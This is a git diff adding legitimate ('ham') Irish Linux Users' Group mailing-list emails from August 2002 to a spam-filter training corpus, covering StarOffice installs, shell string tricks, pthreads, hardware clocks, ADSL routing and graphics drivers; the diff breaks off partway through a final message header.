+User-Agent: Mutt/1.3.12i +In-Reply-To: <20020819105025.36922.qmail@web12107.mail.yahoo.com>; + from colin_nevin@yahoo.com on Mon, Aug 19, 2002 at 11:50:25AM +0100 +X-Operating-System: Linux barge 2.4.19 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Mon, Aug 19, 2002 at 11:50:25AM +0100, Colin Nevin wrote: +> Hi All, +> +> Just wondering if anyone has ever installed StarOffice +> 6.0 (or Open Office), and if any have experienced any +> problems with the install freezing ? + +Maybe give us some more information about your hardware. + +If you happen to be using an S3 Savage graphics card (as used in +the IBM Thinkpad T20 and probably others) and you get strange display +problems plus the freezing problem then set this environment variable: + SAL_DO_NOT_USE_INVERT50=true +You will need this environment variable set when running soffice, +so you should add an export line to your .bashrc. + +Hope this helps, + +David + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00454.cda832b92824f5cd7808db5d56ed9374 b/bayes/spamham/easy_ham_2/00454.cda832b92824f5cd7808db5d56ed9374 new file mode 100644 index 0000000..9403865 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00454.cda832b92824f5cd7808db5d56ed9374 @@ -0,0 +1,82 @@ +From ilug-admin@linux.ie Mon Aug 19 14:05:46 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BC39443C32 + for ; Mon, 19 Aug 2002 09:05:45 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 14:05:45 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7JD3B624022 for + ; Mon, 19 Aug 2002 14:03:12 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA07112; Mon, 19 Aug 2002 14:02:09 +0100 +Received: from corvil.com. (k100-159.bas1.dbn.dublin.eircom.net + [159.134.100.159]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id OAA07072 + for ; Mon, 19 Aug 2002 14:02:01 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host k100-159.bas1.dbn.dublin.eircom.net + [159.134.100.159] claimed to be corvil.com. +Received: from corvil.com (pixelbeat.local.corvil.com [172.18.1.170]) by + corvil.com. (8.12.5/8.12.5) with ESMTP id g7JD20n4037526 for + ; Mon, 19 Aug 2002 14:02:01 +0100 (IST) (envelope-from + padraig.brady@corvil.com) +Message-Id: <3D60EC37.5040200@corvil.com> +Date: Mon, 19 Aug 2002 14:01:43 +0100 +From: Padraig Brady +Organization: Corvil Networks +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020408 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: ilug@linux.ie +Subject: Re: [ILUG] expanding a string multiple times +References: <3D5D27B9.9080009@corvil.com> + <20020817122603.GA1805@bagend.makalumedia.com> + <3D60BA1D.8040504@corvil.com> + <20020819123945.GC3182@bagend.makalumedia.com> +Content-Type: text/plain; charset=ISO-8859-1; format=flowed +Content-Transfer-Encoding: 8bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Niall O Broin wrote: +> On Mon, Aug 19, 2002 at 10:27:57AM +0100, Padraig Brady wrote: +> +> +>>>Well, here's a solution using seq and sed - IMHO its a rather dim solution +>>>and it definitely dies if STRING contains / (and probably has other ways to +>>>die too) and a bash loop would certainly be faster, but you know how to do +>>>it with loops :-) +>>> +>>>PREFIX=seq -s "" $NUMBER|sed "s/./$STRING/g"OA +>> +>>clever. A bit more robust is: +>>#first param is number of +>>#times to repeat second param +>># +>>#e.g. quote=`repeat 3 '> '` +>>repeat() { +>> seq -s , $1 | sed "s¬[0-9]\{1,\}[,]*¬$2¬g" +>>} +> +> But it's such a crap colution anyway, why would you want to make it more +> robust ? +> + +Give yourself credit :-) it's a nice solution, +with just 2 lightweight processes. The same thing +coded in shell loops wouldn't be nearly as elegant +and not as scalable to boot. + +Pádraig. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00455.3bfa014eabb16ee89f5e18b4e21a8deb b/bayes/spamham/easy_ham_2/00455.3bfa014eabb16ee89f5e18b4e21a8deb new file mode 100644 index 0000000..2a110a8 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00455.3bfa014eabb16ee89f5e18b4e21a8deb @@ -0,0 +1,103 @@ +From ilug-admin@linux.ie Tue Aug 20 11:51:58 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C1A7F43C38 + for ; Tue, 20 Aug 2002 06:51:36 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 11:51:36 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7JLPZZ09998 for + ; Mon, 19 Aug 2002 22:25:35 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id WAA29957; Mon, 19 Aug 2002 22:24:29 +0100 +Received: from hibernia.jakma.org (hibernia.clubi.ie [212.17.32.129]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id WAA29921 for ; + Mon, 19 Aug 2002 22:24:15 +0100 +Received: from fogarty.jakma.org (fogarty.jakma.org [192.168.0.4]) by + hibernia.jakma.org (8.11.6/8.11.6) with ESMTP id g7JLWCD01993; + Mon, 19 Aug 2002 22:32:12 +0100 +Received: from localhost (paul@localhost) by fogarty.jakma.org + (8.11.6/8.11.6) with ESMTP id g7JLWAX14622; Mon, 19 Aug 2002 22:32:10 + +0100 +X-Authentication-Warning: fogarty.jakma.org: paul owned process doing -bs +Date: Mon, 19 Aug 2002 22:32:09 +0100 (IST) +From: Paul Jakma +X-X-Sender: paul@fogarty.jakma.org +To: Vincent Cunniffe +Cc: ilug +Subject: Re: [ILUG] linux pthreads problem +In-Reply-To: <3D611AF5.7080703@cunniffe.net> +Message-Id: +X-Nsa: iraq saddam hammas hisballah rabin ayatollah korea vietnam revolt + mustard gas +X-Dumb-Filters: aryan marijuiana cocaine heroin hardcore cum pussy porn + teen tit sex lesbian group +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Mon, 19 Aug 2002, Vincent Cunniffe wrote: + +> The process list initially shows a single main process : +> +> 16877 1.0 0.2 1824 540 pts/1 S 17:14 0:00 ./heartbeat2 +> +> When the client runs, connects, and sleeps for 5 seconds : +> +> 16877 0.0 0.2 10024 604 pts/1 S 17:14 0:00 ./heartbeat2 +> 16887 0.5 0.2 1796 720 pts/1 S 17:15 0:00 ./client +> 16888 0.0 0.2 10024 604 pts/1 S 17:15 0:00 ./heartbeat2 +> 16889 0.0 0.0 0 0 pts/1 Z 17:15 0:00 [heartbeat2 +> ] +> +> When the client exits, and the thread should finish, it doesn't : +> +> 16877 0.0 0.2 10024 604 pts/1 S 17:14 0:00 ./heartbeat2 +> 16888 0.0 0.2 10024 604 pts/1 S 17:15 0:00 ./heartbeat2 +> +> This second thread never goes away, but no more threads accumulate, +> and the total memory consumption rises by about 8-9MB every single +> time a client connects. +> +> C++ bug, linux bug, pthreads bug, coding error? + +hmm... with pthreads there is always one thread which acts as a +'thread manager'. do the number of processes accumulate? or is it +just that the # of threads is == # of threads you're expecting + 1? +if the latter, ttbomk that is normal. + +ie, you dont create the thread until the accept() returns. so up +until then its a normal programme (ie no thread manager). after that +you will always have +1 processes (for the thread manager). + +also, the stack for further threads is allocated from the heap. (see +sigaltstack() ) possibly glibc does not brk() back the space, just +like malloc()/free() does not always release the space to the heap +again (as most programmes will allocate memory / threads again +soonish anyway). + +> Regards, +> +> Vin + +regards, +-- +Paul Jakma paul@clubi.ie paul@jakma.org Key ID: 64A2FF6A + warning: do not ever send email to spam@dishone.st +Fortune: +The Official Colorado State Vegetable is now the "state legislator". + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00456.07feae6f8f7ad01dbe6a5195fdaec7a6 b/bayes/spamham/easy_ham_2/00456.07feae6f8f7ad01dbe6a5195fdaec7a6 new file mode 100644 index 0000000..59576b9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00456.07feae6f8f7ad01dbe6a5195fdaec7a6 @@ -0,0 +1,72 @@ +From ilug-admin@linux.ie Tue Aug 20 11:51:59 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DAEE443C3A + for ; Tue, 20 Aug 2002 06:51:37 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 11:51:37 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7JMWUZ11875 for + ; Mon, 19 Aug 2002 23:32:30 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id XAA32559; Mon, 19 Aug 2002 23:30:52 +0100 +Received: from elivefree.net (mail.elivefree.net [212.120.138.42]) by + lugh.tuatha.org (8.9.3/8.9.3) with SMTP id XAA32525 for ; + Mon, 19 Aug 2002 23:30:41 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host mail.elivefree.net + [212.120.138.42] claimed to be elivefree.net +Received: from [213.116.40.178] (HELO elivefree.net) by elivefree.net + (Stalker SMTP Server 1.7) with ESMTP id S.0001612493 for ; + Mon, 19 Aug 2002 23:30:38 +0100 +Message-Id: <3D617173.F806D59D@elivefree.net> +Date: Mon, 19 Aug 2002 23:30:12 +0100 +From: Anthony +X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.14-5.0 i586) +X-Accept-Language: ga, en +MIME-Version: 1.0 +To: ilug@linux.ie +Subject: Re: [ILUG] hwclock +References: <3D60D081.6070008@physics.dcu.ie> <20020819123308.GB1474@calm.mc> +Content-Type: text/plain; charset=iso-8859-15 +Content-Transfer-Encoding: 7bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +> will have problems though if you use Windows, as it will tell wrong time +> for half the year, and will reset the clock when you boot into it after +> the change in time (this might be fixed in XP/2000, I don't know). +> Even if you set the hwclock to localtime, you will get problems when you +> boot into windows, as both Linux and Windows will try to alter the +> hwclock (maybe there is a way to suppress windows doing this). +> m + +Hi there, + +I recently delved into how the linux system clock and the hardware clock +interact with each other when I set up ntp on my system while connected +to the net. However, I didn't realise that Windows altered the hw clock +as there was no mention of it in any of the docs I read. +I still dual-boot on a regular basis and if Windows is sneakily messing +with the clock, I'd be interested to know in what way it is and how it +couild be stopped from doing so. Everything seems to work fine since I +set the system up but I still don't like to have these gaps in my +knowledge. + +Regards, +Anthony Geoghegan +-- +The worst sin towards our fellow creatures is not to hate them, +but to be indifferent to them. That is the essence of inhumanity + - George Bernard Shaw + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00457.9a3e0780339f515b20a2ce43e2003180 b/bayes/spamham/easy_ham_2/00457.9a3e0780339f515b20a2ce43e2003180 new file mode 100644 index 0000000..0eab6ad --- /dev/null +++ b/bayes/spamham/easy_ham_2/00457.9a3e0780339f515b20a2ce43e2003180 @@ -0,0 +1,76 @@ +From ilug-admin@linux.ie Tue Aug 20 11:52:05 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4085B43C44 + for ; Tue, 20 Aug 2002 06:51:40 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 11:51:40 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7JNqLZ14362 for + ; Tue, 20 Aug 2002 00:52:21 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id AAA03148; Tue, 20 Aug 2002 00:50:17 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail02.svc.cra.dublin.eircom.net + (mail02.svc.cra.dublin.eircom.net [159.134.118.18]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id AAA03113 for ; Tue, + 20 Aug 2002 00:50:09 +0100 +Received: (qmail 88186 messnum 72906 invoked from + network[159.134.113.123/p113-123.as1.bdt.dublin.eircom.net]); + 19 Aug 2002 23:45:44 -0000 +Received: from p113-123.as1.bdt.dublin.eircom.net (HELO calm.mc) + (159.134.113.123) by mail02.svc.cra.dublin.eircom.net (qp 88186) with SMTP; + 19 Aug 2002 23:45:44 -0000 +Received: from mconry by calm.mc with local (Exim 3.35 #1 (Debian)) id + 17gwDS-0000ld-00; Tue, 20 Aug 2002 00:45:46 +0100 +Date: Tue, 20 Aug 2002 00:45:46 +0100 +From: Michael Conry +To: Anthony , ilug@linux.ie +Subject: Re: [ILUG] hwclock +Message-Id: <20020819234546.GA2940@calm.mc> +Reply-To: michael.conry@ucd.ie +References: <3D60D081.6070008@physics.dcu.ie> + <20020819123308.GB1474@calm.mc> <3D617173.F806D59D@elivefree.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <3D617173.F806D59D@elivefree.net> +User-Agent: Mutt/1.3.28i +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On 0020 +0100 %{!Mon, Aug 19, 2002 at 11:30:12PM +0100}, Anthony wrote: +> to the net. However, I didn't realise that Windows altered the hw clock +> as there was no mention of it in any of the docs I read. +> I still dual-boot on a regular basis and if Windows is sneakily messing +> with the clock, I'd be interested to know in what way it is and how it +> couild be stopped from doing so. +In my experience Windows will change the hardware clock the first time +you boot into it after the clocks have gone forward/back an hour. This +will only happen twice a year. How to stop it, I have not checked (I +just switch the clock back an hour from within windows after such a +reboot). Is there a GMT windows timezone? + +With ntp, it is a big no-no (afaik) to have other programs messing with +the clock as it will put ntp's calculations of drift etc., out. (maybe +this only applies to chrony, which is what I use). If the windows +change only moves forward an hour, and you shift back an hour, maybe ntp +will be (relatively) ok (depends if all the remaining digits of time +precision are left unchanged, probably they aren't exactly). +m +-- +Michael Conry Ph.:+353-1-7161987, Web: http://www.acronymchile.com +Key fingerprint = 5508 B563 6791 5C84 A947 CB01 997B 3598 09DE 502C + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00458.34c978457105461bf7310a5b8a5137e2 b/bayes/spamham/easy_ham_2/00458.34c978457105461bf7310a5b8a5137e2 new file mode 100644 index 0000000..ba7961c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00458.34c978457105461bf7310a5b8a5137e2 @@ -0,0 +1,61 @@ +From ilug-admin@linux.ie Tue Aug 20 11:52:18 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id ACC9C43C46 + for ; Tue, 20 Aug 2002 06:51:43 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 11:51:43 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7K8d9Z30908 for + ; Tue, 20 Aug 2002 09:39:09 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA22399; Tue, 20 Aug 2002 09:37:37 +0100 +Received: from tfsgateway.flointernal.ie (ts01-009.drogheda.indigo.ie + [194.125.168.9]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id JAA22368 + for ; Tue, 20 Aug 2002 09:37:29 +0100 +From: ccostelloe@flogas.ie +X-Authentication-Warning: lugh.tuatha.org: Host ts01-009.drogheda.indigo.ie + [194.125.168.9] claimed to be tfsgateway.flointernal.ie +Message-Id: +Date: Tue, 20 Aug 2002 9:39:22 +0100 +To: michael.conry@ucd.ie, ant@elivefree.net, ilug@linux.ie +Subject: Re[2]: [ILUG] hwclock +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-1 +X-Mailer: TFS Secure Messaging /320000000/300220493/300105087/300105117/ +X-Mailer: Version 4.72 Build 101 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + JAA22368 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +> On 0020 +0100 %{!Mon, Aug 19, 2002 at 11:30:12PM +0100}, Anthony wrote: +>> to the net. However, I didn't realise that Windows altered the hw clock +>> as there was no mention of it in any of the docs I read. >> I still dual-boot on a regular basis and if Windows is sneakily messing +>> with the clock, I'd be interested to know in what way it is and how it +>> couild be stopped from doing so. +> In my experience Windows will change the hardware clock the first time +> you boot into it after the clocks have gone forward/back an hour. This +> will only happen twice a year. How to stop it, I have not checked (I +> just switch the clock back an hour from within windows after such a +> reboot). Is there a GMT windows timezone? + +Start->Settings->Control Panel->Date/Time->Time Zone tab-> Uncheck +"Automatically adjust clock for daylight saving change". + +Ciaran + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00459.6acfaa28a54e5134759a7303e5f24a4f b/bayes/spamham/easy_ham_2/00459.6acfaa28a54e5134759a7303e5f24a4f new file mode 100644 index 0000000..36fc995 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00459.6acfaa28a54e5134759a7303e5f24a4f @@ -0,0 +1,72 @@ +From ilug-admin@linux.ie Tue Aug 20 11:52:30 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 88C3343C47 + for ; Tue, 20 Aug 2002 06:51:44 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 11:51:44 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7K8tbZ31295 for + ; Tue, 20 Aug 2002 09:55:37 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA23089; Tue, 20 Aug 2002 09:54:41 +0100 +Received: from milexc01.maxtor.com ([134.6.205.206]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA23054 for ; Tue, + 20 Aug 2002 09:54:30 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [134.6.205.206] claimed to + be milexc01.maxtor.com +Received: by milexc01.maxtor.com with Internet Mail Service (5.5.2653.19) + id ; Tue, 20 Aug 2002 09:54:29 +0100 +Message-Id: <0D443C91DCE9CD40B1C795BA222A729E01885601@milexc01.maxtor.com> +From: "Wynne, Conor" +To: "'Con Hennessy'" , ilug@linux.ie +Subject: RE: [ILUG] ADSL, routers and firewalls +Date: Tue, 20 Aug 2002 09:54:29 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +I'm configuring this at the moment. -> Still ;--) + +I found out that my firewall box has a dodgy USB and so I'm awaiting a +PCI-USB controller to finish the configuration. I meant to buy one yesterday +and forgot. I've bought Smoothwall Corporate edition as its the best +firewall/routing solution around or so I've been led to believe. + +Will be doing NAT/Proxy/firewall, maybe VPN too but we shall see. + +CW + +----------- +Hi all, + I am seriously thinking of getting the ADSL "solo" connection +from Eircom. I also have more than one computer therefore I need a router +so that I can connect them together. +The 2 options I am looking at are : + the ADSL usb modem connected to my linux machine, with the linux + machine acting as firewall; and + a combined router / firewall box which would be connected directly + to the ADSL modem. + +So my questions are : + what recommendations would any of you have about the above ? + do I need to have NAT (I have only a vague idea of what this does )? + what other options should I be looking at ? + +Thanks +Con + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00460.51cc34c4bc516148109044d34503431b b/bayes/spamham/easy_ham_2/00460.51cc34c4bc516148109044d34503431b new file mode 100644 index 0000000..c5773b2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00460.51cc34c4bc516148109044d34503431b @@ -0,0 +1,80 @@ +From ilug-admin@linux.ie Tue Aug 20 11:52:36 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7D0D043C4B + for ; Tue, 20 Aug 2002 06:51:46 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 11:51:46 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7K9HjZ32192 for + ; Tue, 20 Aug 2002 10:17:45 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA24090; Tue, 20 Aug 2002 10:15:50 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail00.svc.cra.dublin.eircom.net + (mail00.svc.cra.dublin.eircom.net [159.134.118.16]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id KAA24047 for ; Tue, + 20 Aug 2002 10:15:40 +0100 +Received: (qmail 25477 messnum 528591 invoked from + network[159.134.147.60/pc828.as1.galway1.eircom.net]); 20 Aug 2002 + 09:15:09 -0000 +Received: from pc828.as1.galway1.eircom.net (HELO ciaran) (159.134.147.60) + by mail00.svc.cra.dublin.eircom.net (qp 25477) with SMTP; 20 Aug 2002 + 09:15:09 -0000 +Message-Id: <002e01c2482a$0f166f30$ac0305c0@ciaran> +From: "Ciaran Mac Lochlainn" +To: , +References: <200208200754.IAA20270@lugh.tuatha.org> +Subject: Re: [ILUG] Mail sent to ILUG +Date: Tue, 20 Aug 2002 10:14:59 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-15" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2462.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2462.0000 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +is it really necessary to send these to the list? +----- Original Message ----- +From: +To: +Sent: Tuesday, August 20, 2002 8:54 AM +Subject: [ILUG] Mail sent to ILUG + + +> Your mail to 'ILUG' with the subject: +> +> Audio plays a critical part in the Web surfer's consciousness rvxa +> +> Is being held until the list moderator can review it for approval. +> +> The reason it is being held: +> +> Suspicious header +> +> Either the message will get posted to the list, or you will receive +> notification of the moderator's decision. +> +> -- +> Irish Linux Users' Group: ilug@linux.ie +> http://www.linux.ie/mailman/listinfo/ilug for (un)subscription +information. +> List maintainer: listmaster@linux.ie +> + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00461.da8d4c3f576785c9d59d4be2ae8ad738 b/bayes/spamham/easy_ham_2/00461.da8d4c3f576785c9d59d4be2ae8ad738 new file mode 100644 index 0000000..76dfd60 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00461.da8d4c3f576785c9d59d4be2ae8ad738 @@ -0,0 +1,77 @@ +From ilug-admin@linux.ie Tue Aug 20 11:52:48 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4514443C4F + for ; Tue, 20 Aug 2002 06:51:51 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 11:51:51 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7K9deZ00425 for + ; Tue, 20 Aug 2002 10:39:40 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA25732; Tue, 20 Aug 2002 10:39:03 +0100 +Received: from milexc01.maxtor.com ([134.6.205.206]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA25698 for ; Tue, + 20 Aug 2002 10:38:54 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [134.6.205.206] claimed to + be milexc01.maxtor.com +Received: by milexc01.maxtor.com with Internet Mail Service (5.5.2653.19) + id ; Tue, 20 Aug 2002 10:38:52 +0100 +Message-Id: <0D443C91DCE9CD40B1C795BA222A729E01885605@milexc01.maxtor.com> +From: "Wynne, Conor" +To: "'mconway35@eircom.net'" , ilug@linux.ie +Subject: RE: [ILUG] Newbie Questions +Date: Tue, 20 Aug 2002 10:38:52 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Yo Mark, + +Have you goten the closed source drivers from Nvidia or are you still using +the wans that came with Redbum? + +http://www.nvidia.com and then somewhere...somwhere-else... + +Installation is WELL detailed, you should see the NV splash screen, don;t +forget to edit the config files. + +CW + + +-------------------------------------- +Hi + +I have just installed Red Hat 7.2 on my desktop machine. I am completely new +to Linux and therefore have run into a few problems. + +The graphic display on my PC doesnt seem to work. My monitor is slightly +miss-aligned and I cannot run any high resolution games ( everything freezes +). In the hardware browser in Gnome it lists my Graphics Card (Riva TNT2), +and shows installed drivers...... maybe the problem lies elswhere. + +Another problem I have is that I cannot install my ISDN, USB modem ( LASAT +Speed Basic ), however im pretty sure its not supported by Linux, but again +it is featured in the Hardware Browser, without installed drivers. + +If anybody has any ideas, please let me know cos id like to use Linux more. +Please keep in mind I am new to it though. + +Thanks + +Mark + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00462.27b650a44e3eb6694c1f385288b73d3c b/bayes/spamham/easy_ham_2/00462.27b650a44e3eb6694c1f385288b73d3c new file mode 100644 index 0000000..11b41e3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00462.27b650a44e3eb6694c1f385288b73d3c @@ -0,0 +1,82 @@ +From ilug-admin@linux.ie Tue Aug 20 11:52:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 70DD243C34 + for ; Tue, 20 Aug 2002 06:51:48 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with 